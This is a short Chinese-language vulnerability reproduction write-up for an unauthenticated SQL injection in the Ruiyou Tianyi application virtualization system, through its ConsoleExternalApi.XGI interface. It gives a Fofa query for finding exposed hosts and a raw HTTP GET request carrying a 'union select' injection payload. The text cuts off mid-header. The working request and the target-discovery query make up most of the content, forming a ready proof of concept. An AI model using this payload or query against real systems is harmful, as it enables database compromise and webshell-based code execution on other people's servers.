瑞友天翼应用虚拟化系统ConsoleExternalApi.XGI接口SQL注入

简介

瑞友天翼应用虚拟化系统是西安瑞友信息技术资讯有限公司研发的具有自主知识产权，基于服务器计算(Server-based Computing)架构的应用虚拟化平台。

漏洞描述

瑞友天翼应用虚拟化系统存在多处SQL注入漏洞，未经身份认证的远程攻击者可以利用该漏洞在目标系统写入Webshell执行任意代码。

影响范围

瑞友天翼应用虚拟化系统 <= 7.0.4.1
Fofa:

title="瑞友天翼－应用虚拟化系统" || title="瑞友应用虚拟化系统"

ConsoleExternalApi.XGI处漏洞复现

GET /ConsoleExternalApi.XGI?key=inner&initParams=command_getAppVisitLogByDataTable__user_admin__pwd_xxx__serverIdStr_1&sign=0a3d5f4f69628f32217ea9704d12bd6d&iDisplayStart=1+union+select+1,2,3,4,5,user()%23 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accep